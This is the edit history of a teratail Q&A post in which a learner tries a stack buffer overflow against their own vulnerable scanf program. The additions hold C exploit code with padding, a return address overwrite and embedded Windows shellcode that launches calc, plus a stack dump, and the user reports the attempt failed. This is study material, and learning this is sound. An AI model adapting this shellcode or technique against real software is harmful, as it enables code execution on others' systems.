teratail header banner
teratail header banner
質問するログイン新規登録

質問編集履歴

2

追記

2019/10/21 01:30

投稿

kazuyakazuya
kazuyakazuya

スコア193

title CHANGED
File without changes
body CHANGED
@@ -154,4 +154,8 @@
154
154
  今回では「無視」を選択しても
155
155
  ループ的に警告が再度表示されるようになりました。
156
156
 
157
- 電卓が起動してないのだから失敗・・・ですよね?
157
+ 電卓が起動してないのだから失敗・・・ですよね?
158
+
159
+ ```string
160
+ 追記1: すみません。printf関数ではだめみたいですね。
161
+ ```

1

追記

2019/10/21 01:30

投稿

kazuyakazuya
kazuyakazuya

スコア193

title CHANGED
File without changes
body CHANGED
@@ -75,4 +75,83 @@
75
75
  シェルコード(バッファオーバーフローで使えるような)
76
76
  を生成することはできるのでしょうか?
77
77
 
78
- 分からないのでお願いします。
78
+ 分からないのでお願いします。
79
+
80
+ 追記
81
+ --
82
+
83
+ [電卓を起動させるシェルコード](http://inaz2.hatenablog.com/entry/2015/04/23/013858)
84
+ ```c
85
+ #include <stdio.h>
86
+
87
+ int main(void)
88
+ {
89
+ for (int i = 0; i < 28; ++i) putchar(0x00);
90
+ putchar(0xBC);
91
+ putchar(0xFA);
92
+ putchar(0x4F);
93
+ putchar(0x00);
94
+ printf("%s", "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF");
95
+ }
96
+
97
+ ```
98
+ パイプを使って上記のコードをscanf関数を持った脆弱性のあるコードへ流しました。
99
+
100
+ ```c
101
+ asub関数のアドレス・・・000B12C6
102
+ リターンアドレス・・・000B1CEC
103
+ 保存されたebp:004FFB0C
104
+ f
105
+ ローカル変数
106
+ ローカル変数 4バイト出力 16進数 0 80
107
+ addr:004FFA9C price:fc30066
108
+ addr:004FFAA0 price:bc002
109
+ addr:004FFAA4 price:4ffaf8
110
+ addr:004FFAA8 price:0
111
+ addr:004FFAAC price:b1cec
112
+ addr:004FFAB0 price:b12c6
113
+ addr:004FFAB4 price:4ffb0c
114
+ addr:004FFAB8 price:b1cec
115
+ addr:004FFABC price:8
116
+ addr:004FFAC0 price:b1352
117
+ addr:004FFAC4 price:b1352
118
+ addr:004FFAC8 price:251000
119
+ addr:004FFACC price:2
120
+ addr:004FFAD0 price:7542f840
121
+ addr:004FFAD4 price:6057d1f8
122
+ addr:004FFAD8 price:4ffaf4
123
+ addr:004FFADC price:fbfc922
124
+ addr:004FFAE0 price:0
125
+ addr:004FFAE4 price:b1352
126
+ addr:004FFAE8 price:0
127
+ addr:004FFAEC price:fc2e62e
128
+ addr:004FFAF0 price:fd04e64
129
+ ```
130
+ 入力からリターンアドレスまでは28バイトよって
131
+ ```c
132
+ for (int i = 0; i < 28; ++i) putchar(0x00);
133
+ ```
134
+ 28バイト適当に埋める。
135
+ ```c
136
+ putchar(0xBC);
137
+ putchar(0xFA);
138
+ putchar(0x4F);
139
+ putchar(0x00);
140
+ ```
141
+ これでシェルコードが配置されるであろうアドレスに
142
+ リターンアドレスを書き換える。
143
+
144
+ ```c
145
+ printf("%s", "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF");
146
+ ```
147
+ 上記でシェルコードを配置・・・
148
+ ただ、エンディアンとかを考慮した場合結構あやしいような・・・
149
+
150
+ 結果
151
+
152
+ ![イメージ説明](bde15d581de764b780d7c4a04babe1d5.png)
153
+ 普通、「無視」を選択すれば警告は少なくとも、失せてくれるのですが
154
+ 今回では「無視」を選択しても
155
+ ループ的に警告が再度表示されるようになりました。
156
+
157
+ 電卓が起動してないのだから失敗・・・ですよね?